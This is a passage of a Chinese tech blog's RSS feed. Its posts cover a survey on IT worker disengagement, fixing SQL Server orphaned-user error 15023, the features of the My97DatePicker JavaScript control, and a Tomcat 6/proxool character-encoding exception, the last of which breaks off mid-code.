&lt;p&gt;Corporate Executive Board最新调查显示，IT职员&amp;ldquo;努力进行高水平工作&amp;rdquo;&amp;mdash;&amp;mdash;包括增加额外工作时间以解决问题，对公司程序优化提出建议，以及在公司运营中扮演关键角色的意愿降至了自Corporate Executive Board10年前发起调查以来的最低。&lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;2007年，约有12%的IT工作者属于&amp;ldquo;高度专注工作者&amp;rdquo;，这个比值现在下降到了4%。&lt;br /&gt;&lt;br /&gt;Corporate Executive Board信息技术实践部的监管董事加米&amp;middot;卡倍拉（Jaime Capella）说道：&amp;ldquo;这些都是比较挑剔的IT职员。他们也可能是第一批最有可能离开你公司的职员。&amp;rdquo;&lt;br /&gt;&lt;br /&gt;同样，非盈利研究组织Conference Board Inc.5日表示，去年对5000美国家庭的调查显示，45%的屋主表示对现有工作表示满意，这比起1987年62%的比率下降不少。&lt;br /&gt;&lt;br /&gt;来自医疗保险公司基础设施部副总裁迈克&amp;middot;汉根(Mike Hagan)说道：&amp;ldquo;在IT类职业，有许多处于压抑状态的不满。经济衰退让职员雇主摩擦降至了新低。一旦经济恢复或是稳定，这些不满的职员会跳槽到别的工作岗位。&amp;rdquo;&lt;br /&gt;&lt;br /&gt;他接着说道：&amp;ldquo;要想留住雇员，IT经理必须增加和雇员的互动，让雇员了解公司前景。IT经理要能设立出带有目的性的岗位。&amp;rdquo;&lt;br /&gt;&lt;br /&gt;&amp;ldquo;我猜，现在在苹果工作的职员其工作就带有目的性。这样，这些职员基本不可能跳槽。职员们要找的就是这种目的性。&amp;rdquo;&lt;br /&gt;&lt;br /&gt;Dice公司首席营销官托马斯说道：&amp;ldquo;找到新工作的机会开始增加。比如在纽约，将近有6000个IT工作职位发布，一年前的这个时候是5600。&amp;rdquo;Dice公司在硅谷发布的工作岗位有3000个，一年前是2700个。&lt;br /&gt;&lt;br /&gt;Dice8月份对360位职员作出的调查显示，超过三分之一人表示，一旦就业市场有所改观，就会考虑找新工作。&lt;br /&gt;&lt;br /&gt;卡倍拉表示，职员很注重工作成效，希望在一个有动力的团队工作。并希望能和公司进行持续的，公开的交流。一旦职员发现公司并不诚实，职员会对此感到不满。&lt;br /&gt;&lt;br /&gt;卡倍拉最后表示，如经理能足够坦率，经理们好的意愿通常能能抵消负面影响。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=219</guid><pubDate>Fri, 08 Jan 2010 07:20:47 GMT</pubDate></item><item><title>sql2005错误15023:当前数据库中已存在用户或角色</title><link>http://www.chendw.cn:8080/view.aspx?id=218</link><description>&lt;p&gt;昨天再次遇到错误15023:当前数据库中已存在用户或角色 &lt;br /&gt;在把远程服务器上的数据库备份还原到本地机后, 给一个"登录"关联一个"用户"时,发生错误：&lt;br /&gt;&amp;ldquo;错误15023:当前数据库中已存在用户或角色&amp;rdquo; 为了让大家不再走弯路,所以&lt;/p&gt;
&lt;p&gt;&lt;span&gt;把原因及解决办法如下：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;在迁移测试平台数据库的过程中发现，在两台服务器上运行的sql server 服务器之间迁移数据库的之后，会出现一个在源服务器上可以正常的用户在目的服务器上无法登录的情况。几经排常找到了原因与解决方法，因为这个问题与解决方法均比较复杂，所以把这个过程中的一些经验纪录下来与大家分享，希望能对大家以后的类似操作有所帮助。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;首先介绍一下sql server中&amp;ldquo;登录&amp;rdquo;与&amp;ldquo;用户&amp;rdquo;的区别，&amp;ldquo;登录&amp;rdquo;用于用户身份验证，而数据库&amp;ldquo;用户&amp;rdquo;帐户用于数据库访问和权限验证。登录通过安全识别符 (SID) 与用户关联。将数据库恢复到其他服务器时，数据库中包含一组用户和权限，但可能没有相应的登录或者登录所关联的用户可能不是相同的用户。这种情况被称为存在&amp;ldquo;孤立用户&amp;rdquo;。 此时是不能通过新建登录或者是对同名登录授予对应数据库的&amp;ldquo;用户&amp;rdquo;权限来解决登录问题，因为SQL Server会报出&amp;ldquo;错误15023:当前数据库中已存在用户或角色&amp;rdquo;，为了解决这个问题，需要调用系统存储过程sp_change_users_login，具体用法如下：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Use Northwind&lt;br /&gt;go&lt;br /&gt;sp_change_users_login 'update_one', 'fwg', 'fwg'&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;其中Northwind为存在孤立用户的数据库，update_one是存储过程的参数，表示只处理一个用户，前一个test是&amp;ldquo;用户&amp;rdquo;，后一个fwg是&amp;ldquo;登录&amp;rdquo;，以上这个SQL表示将服务器登录&amp;ldquo;fwg&amp;rdquo;与 Northwind 数据库用户&amp;ldquo;fwg&amp;rdquo;重新连接起来。这样就可以正常使用数据库了。&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=218</guid><pubDate>Tue, 15 Dec 2009 12:28:36 GMT</pubDate></item><item><title>[JavaScript]My97DatePicker日期选择控件</title><link>http://www.chendw.cn:8080/view.aspx?id=217</link><description>&lt;h2 style="BACKGROUND: url(images/slogo1.jpg) no-repeat"&gt;演示：&lt;a href="http://www.my97.net/dp/demo/index.htm"&gt;http://www.my97.net/dp/demo/index.htm&lt;/a&gt;&lt;/h2&gt;
&lt;h2 style="BACKGROUND: url(images/slogo1.jpg) no-repeat"&gt;更人性化,更全面的功能&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;大部分日期控件都具备这些功能,但是My97DatePicker做的更全面,更人性化,并且速度一流.&lt;/p&gt;
&lt;!--more--&gt;
&lt;table border="0" cellspacing="0" cellpadding="0" width="100%"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="50%"&gt;
&lt;h3&gt;支持多种调用模式&lt;/h3&gt;
&lt;p&gt;除支持常规在input单击调用外,还支持使用其他的元素如:&amp;lt;img&amp;gt;&amp;lt;div&amp;gt;触发WdatePicker函数来调用弹出日期框&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;支持周显示&lt;/h3&gt;
&lt;p&gt;可以通过配置isShowWeek属性决定是否限制周,并且在返回日期的时候还可以通过自带的自定义事件和API函数返回选择的周&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;只读开关,高亮周末功能&lt;/h3&gt;
&lt;p&gt;设置readOnly属性 true 或 false 可指定日期框是否只读;设置highLineWeekDay属性 ture 或 false 可指定是否高亮周末&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;操作按钮自定义&lt;/h3&gt;
&lt;p&gt;清空按钮和今天按钮,可以根据需要进行自定义,它们分别对应 isShowClear 和 isShowToday 默认值都是true&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;支持多种容器&lt;/h3&gt;
&lt;p&gt;除了可以将值返回给input以外,还可以通过配置el属性将值返回给其他的元素(如:textarea,div,span)等,带有innerHTML属性的HTML元素&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;起始日期功能&lt;/h3&gt;
&lt;p&gt;有时在项目中需要选择生日之类的日期,而默认点开始日期都是当前日期,导致年份选择非常麻烦,你可以通过起始日期功能加上配置alwaysUseStartDate属性轻松解决此类问题&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;自定义格式(注意大小写)&lt;/h3&gt;
&lt;p&gt;yMdHmswW分别代表年月日时分秒星期周,你可以任意组合这些元素来自定义你个性化的日期格式.&lt;br /&gt;如:"yyyy年M月d日 HH时mm分" 返回:"2008年3月12日 19时20分"&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;编辑功能&lt;/h3&gt;
&lt;p&gt;不知道您是否已经注意到,当日期框里面有值时,右下角的按钮会变成更新,修改完某个属性后,只要点击这个按钮就可以实现时间和日期的编辑&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;下拉,输入,导航选择日期&lt;/h3&gt;
&lt;p&gt;年月时分秒输入框都具备以下3个属性:通过导航图标选择,直接使用键盘输入数字,直接从弹出的下拉框中选择.因此不管你选择什么样的日期和时间都可以找到一种最快捷的方法,用最少的鼠标点击来搞定&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;自动纠错功能&lt;/h3&gt;
&lt;p&gt;纠错处理可设置为3种模式 1.提示 2.自动纠错(默认) 3.标记&lt;br /&gt;当日期框中的值不符合格式时,系统会尝试自动修复,如果修复失败会根据您设置的纠错处理模式进行处理,错误判断功能非常智能它可以保证用户输入的值是一个合法的值&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;为编程带来方便&lt;/h3&gt;
&lt;p&gt;如果el的值是this,可省略,即所有的el:this都可以不写&lt;br /&gt;日期框设置为disabled时,禁止更改日期(不弹出选择框)&lt;br /&gt;如果没有定义onpicked事件,自动触发文本框的onchange事件&lt;br /&gt;如果没有定义oncleared事件,清空时,自动触发onchange事件&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;其他属性&lt;/h3&gt;
&lt;p&gt;设置readOnly属性,可指定日期框是否只读 &lt;br /&gt;设置highLineWeekDay属性,可指定是否高亮周末&lt;br /&gt;设置isShowOthers属性,可指定是否显示其他月的日期 &lt;br /&gt;加上class="Wdate"就会在选择框右边出现日期图标&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style="BACKGROUND: url(images/slogo2.jpg) no-repeat"&gt;强大的日期范围限制功能&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;支持静态限制,动态限制,脚本自定义限制,以及无效天和无效日期功能,利用这样功能你可以任意定制不能选择的日期,这些日期即使毫无规律,毫无连续性,你也可以通过这些功能的组合使用轻松搞定.&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0" width="100%"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;静态限制&lt;/h3&gt;
&lt;p&gt;你可以给通过配置minDate(最小日期),maxDate(最大日期)为静态日期值,来限定日期的范围&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;无效天&lt;/h3&gt;
&lt;p&gt;可以使用此功能禁用周日至周六所对应的日期,相关属性:disabledDays (0至6 分别代表 周日至周六)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;动态限制&lt;/h3&gt;
&lt;p&gt;你可以通过系统给出的动态变量,如%y(当前年),%M(当前月)等来限度日期范围,你还可以通过#{}进行表达式运算,如:#{%d+1}:表示明天&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;无效日期&lt;/h3&gt;
&lt;p&gt;可以使用此功能禁用,所指定的一个或多个日期,只要你熟悉正则表达式,你可以尽情发挥&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h3&gt;脚本自定义限制&lt;/h3&gt;
&lt;p&gt;系统提供了$dp.$D和$dp.$DV这两个API来辅助你进行日期运算,此外你还可以通过在 #F{} 中填入你自定义的脚本,做任何你想做的日期限制&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;h3&gt;特殊天和特殊日期&lt;/h3&gt;
&lt;p&gt;用法同无效天和无效日期,可以使用此功能高亮你指定的日期&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style="BACKGROUND: url(images/slogo3.jpg) no-repeat"&gt;自定义事件和丰富的API库&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;如果你需要做一些附加的操作,你也不必担心,日期控件自带的自定义事件可以满足你的需求.此外,你还可以在自定义事件中调用提供的API库来做更多的运算和扩展,绝对可以通过很少的代码满足你及其个性化的需求.&lt;/p&gt;
&lt;h2 style="BACKGROUND: url(images/slogo4.jpg) no-repeat"&gt;多语言支持和自定义皮肤支持&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;通过lang属性,可以为每个日期控件单独配置语言,当然也可以通过WdatePicker.js配置全局的语言,皮肤也是一样,只要配置skin属性即可.这样一个页面中可以显示多种语言,多种皮肤的日期控件,更棒的是,他们之间的切换是无刷新的.&lt;/p&gt;
&lt;h2 style="BACKGROUND: url(images/slogo5.jpg) no-repeat"&gt;跨无限级框架显示和自动选择显示位置&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="BACKGROUND: none transparent scroll repeat 0% 0%"&gt;无论你把日期控件放在哪里,你都不需要担心会被外层的iframe所遮挡进而影响客户体验,My97日期控件是可以跨无限级框架显示的,并且当控件处在页面边界时,它会自动选择显示的位置.此外你还可以使用position参数对弹出位置做调整.&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;注意:默认情况下是关闭的,开启方法:WdatePicker.js中的$crossFrame=true&lt;/strong&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=217</guid><pubDate>Thu, 27 Aug 2009 09:22:56 GMT</pubDate></item><item><title>Tomcat6+proxool 中文不能正常显示解决方案【转】【附修改后的包】</title><link>http://www.chendw.cn:8080/view.aspx?id=216</link><description>&lt;p&gt;&lt;span style="color: #ff0000;"&gt;附上修改后的包&lt;/span&gt; &lt;a href="http://www.chendw.cn:8080/uploads/2009/08/56b7666ec4d94c048b07b9aacbd88989.jar" target="_blank"&gt;proxool-0.9.0RC3.jar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　汉字的显示处理是一个用java进行web应用开发很基础而又经常出来烦我们的问题，它永远有新的花样来摧残我们脆弱的神经。&lt;br /&gt;　　近日给一个项目升级环境，由Tomcat4.1.31升级到Tomcat5.5或6.0，JDK也由1.4升级到1.6，经过一些简单修改一切都还算顺利（就是改了改代码中使用JDK6新增的保留字的问题，tomcat的兼容性当时看还是不错的，很顺利）。但在后来测试中发现我们用的proxool连接池的管理页面不能正常显示了，出现类似以下错误：&lt;/p&gt;
&lt;p&gt;&lt;!--more--&gt;&lt;br /&gt;java.io.CharConversionException: &lt;strong style="BACKGROUND-COLOR: #a0ffff; COLOR: black"&gt;Not&lt;/strong&gt; an &lt;strong style="BACKGROUND-COLOR: #99ff99; COLOR: black"&gt;ISO&lt;/strong&gt; &lt;strong style="BACKGROUND-COLOR: #ff9999; COLOR: black"&gt;8859-1&lt;/strong&gt; &lt;strong style="BACKGROUND-COLOR: #ff66ff; COLOR: black"&gt;character&lt;/strong&gt;: 十&lt;br /&gt;javax.servlet.ServletOutputStream.print(ServletOutputStream.java:89) &lt;br /&gt;org.logicalcobwebs.proxool.admin.servlet.AdminServlet.printDefinitionEntry(AdminServlet.java:515) &lt;br /&gt;org.logicalcobwebs.proxool.admin.servlet.AdminServlet.doSnapshot(AdminServlet.java:273) &lt;br /&gt;org.logicalcobwebs.proxool.admin.servlet.AdminServlet.doStats(AdminServlet.java:145) &lt;br /&gt;org.logicalcobwebs.proxool.admin.servlet.AdminServlet.doGet(AdminServlet.java:129) &lt;br /&gt;javax.servlet.http.HttpServlet.service(HttpServlet.java:690) &lt;br /&gt;javax.servlet.http.HttpServlet.service(HttpServlet.java:803)&lt;br /&gt;　　我参考了一下正常的情况，这里的&amp;ldquo;十&amp;rdquo;应该是当前的月份&amp;ldquo;十一月&amp;rdquo;三个字的第一个字。也就是说是当前输出不认识汉字，只能输出&lt;strong style="BACKGROUND-COLOR: #99ff99; COLOR: black"&gt;ISO&lt;/strong&gt; &lt;strong style="BACKGROUND-COLOR: #ff9999; COLOR: black"&gt;8859-1&lt;/strong&gt;编码的字符（或者可以按某种规则被正常解析成该编码的字符，这种规则我们在后面可以看到）。&lt;br /&gt;　　首先要明确，在原来的Tomcat4+JDK1.4的环境是没有这个问题的，那么问题就是新换的环境上了。&lt;br /&gt;分析一下org.logicalcobwebs.proxool.admin.servlet.AdminServlet这个类不难看出这里看到的无法正常转换的汉字来自于以下这条语句：&lt;br /&gt;private static final DateFormat DATE_FORMAT = new SimpleDateFormat("dd-MMM-yyyy HH:mm:ss");&lt;br /&gt;　　这里使用了&amp;ldquo;MMM&amp;rdquo;来取本地化格式的月份，当然在中文系统中就得到了&amp;ldquo;xx月&amp;rdquo;字样了。虽然这样的格式会给代码的移植带来不必要的麻烦，而且实际输出的类似&amp;ldquo;20-十一月-2007 08:00:00&amp;rdquo;这种格式看起来也是不伦不类（所以本文提供的修改方案中建议把这种改掉），但这并不是本文讨论的问题的本源，不支持中文输出才是关键。&lt;br /&gt;　　那我们再来看下异常栈，异常是在javax.servlet.ServletOutputStream类（抽象类javax.servlet.ServletOutputStream继承了java.io.OutputStream）的print(String s)方法中抛出来的，通过反编译工具可以很方便地看到这个类的原码（对于tomcat4一般这个类在common/lib/servlet.jar包中，&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;在servlet-api.jar包中）。我们可以看到print(String s)方法的以下代码段。&lt;br /&gt;public void print(String s) throws IOException {&lt;br /&gt;if (s==null) s="null";&lt;br /&gt;int len = s.length();&lt;br /&gt;for (int i = 0; i &amp;lt; len; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char c = s.charAt (i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // XXX NOTE: This is clearly incorrect for many strings,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // but is the only consistent approach within the current&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // servlet framework. It must suffice until servlet output&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // streams properly encode their output.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((c &amp;amp; 0xff00) != 0) { // high order byte must be zero&lt;br /&gt;&amp;nbsp;&amp;nbsp; String errMsg = lStrings.getString("err.not_iso8859_1");&lt;br /&gt;&amp;nbsp;&amp;nbsp; Object[] errArgs = new Object[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp; errArgs[0] = new &lt;strong style="BACKGROUND-COLOR: #ff66ff; COLOR: black"&gt;Character&lt;/strong&gt;(c);&lt;br /&gt;&amp;nbsp;&amp;nbsp; errMsg = MessageFormat.format(errMsg, errArgs);&lt;br /&gt;&amp;nbsp;&amp;nbsp; throw new CharConversionException(errMsg);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; write (c);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;　　这个if ((c &amp;amp; 0xff00) != 0)就是抛出异常的起因之一了，汉字一定是过不了这一关的。经比较tomcat4与&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;带的这个类的算法没区别，但为什么在tomcat4会没有抛异常出来呢？看来一定是tomcat4在这里做了什么手脚。即然javax.servlet.ServletOutputStream是个抽象类，我们实现运行的类一定不会是它了，而是它的子类，这个子类一定是最终被tomcat实现了。经过分析tomcat代码最终找到了真正的实现类。tomcat4使用了org.apache.coyote.tomcat4.CoyoteOutputStream继承ServletOutputStream类，而&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;使用了org.apache.catalina.connector.CoyoteOutputStream继承ServletOutputStream类。从名字我们就能看出，前者十之八九是由后者演变而来的（coyote包中的一些类从tomcat5开始就不在org.apache.coyote.tomcatx包中了，而被放到了org.apache.catalina.connector包中）。&lt;br /&gt;分析org.apache.coyote.tomcat4.CoyoteOutputStream类，我们可以看到一个方法如下：&lt;br /&gt;public void print(String s) throws IOException&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ob.write(s);&lt;br /&gt;}&lt;br /&gt;而在org.apache.catalina.connector.CoyoteOutputStream类中没有的这个方法。&lt;br /&gt;　　覆盖了这个方法，也就意味着那个恼人的&amp;ldquo;if ((c &amp;amp; 0xff00) != 0)&amp;rdquo;就不会被执行到了。也就是说&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;新的CoyoteOutputStream类去掉这个了方法，这才是在tomcat4中可以但换成&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;就出问题的根本原因。当然&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;不再覆盖print(String s)方法也是有道理的，就是让我们使用Writer而不再使用OutputStream来输出HTML或XML之类的内容。&lt;br /&gt;　　这样看来使用OutputStream的print(String s)方法输出是不应该再用了，那如何输出呢？&lt;br /&gt;　　我们先来分析一下，OutputStream是输出二进制流了，也就是处理byte流的，而汉字明显是要用char类型来存储处理的，那么自然要用对应的Writer来进行输出操作了。幸好javax.servlet.http.HttpServletResponse类早就支持Writer输出了，但新问题是在tomcat的不同版本中的实现（如果有的话）会不会像OutputStream那样有差异进而导致此种问题或其它问题呢？这个答案还是要分析了不同版本的tomcat的代码才能晓得了。&lt;br /&gt;　　首先，容易知道使用response.getWriter()得到的是一个java.io.PrintWriter类。经分析，在tomcat4中最终使用的是org.apache.catalina.connector.ResponseWriter类，而在&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;中最终使用的是org.apache.catalina.connector.CoyoteWriter类。两个类的getWriter()方法分别如下：&lt;br /&gt;//tomcat4,org.apache.catalina.connector.ResponseWriter&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public PrintWriter getWriter() throws IOException&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(writer != null)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return writer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(stream != null)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;throw new IllegalStateException(sm.getString("responseBase.getWriter.ise"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ResponseStream newStream = (ResponseStream)createOutputStream();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newStream.setCommit(false);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OutputStreamWriter osr = new OutputStreamWriter(newStream, getCharacterEncoding());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;writer = new ResponseWriter(osr, newStream);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stream = newStream;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return writer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;//&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;,org.apache.catalina.connector.CoyoteWriter&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public PrintWriter getWriter() &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;throws IOException {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (usingOutputStream)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;throw new IllegalStateException&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(sm.getString("coyoteResponse.getWriter.ise"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Globals.STRICT_SERVLET_COMPLIANCE) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * If the response's &lt;strong style="BACKGROUND-COLOR: #ff66ff; COLOR: black"&gt;character&lt;/strong&gt; encoding has &lt;strong style="BACKGROUND-COLOR: #a0ffff; COLOR: black"&gt;not&lt;/strong&gt; been specified as&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * described in &amp;lt;code&amp;gt;getCharacterEncoding&amp;lt;/code&amp;gt; (i.e., the method&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * just returns the default value &amp;lt;code&amp;gt;&lt;strong style="BACKGROUND-COLOR: #99ff99; COLOR: black"&gt;ISO&lt;/strong&gt;-&lt;strong style="BACKGROUND-COLOR: #ff9999; COLOR: black"&gt;8859-1&lt;/strong&gt;&amp;lt;/code&amp;gt;),&lt;br 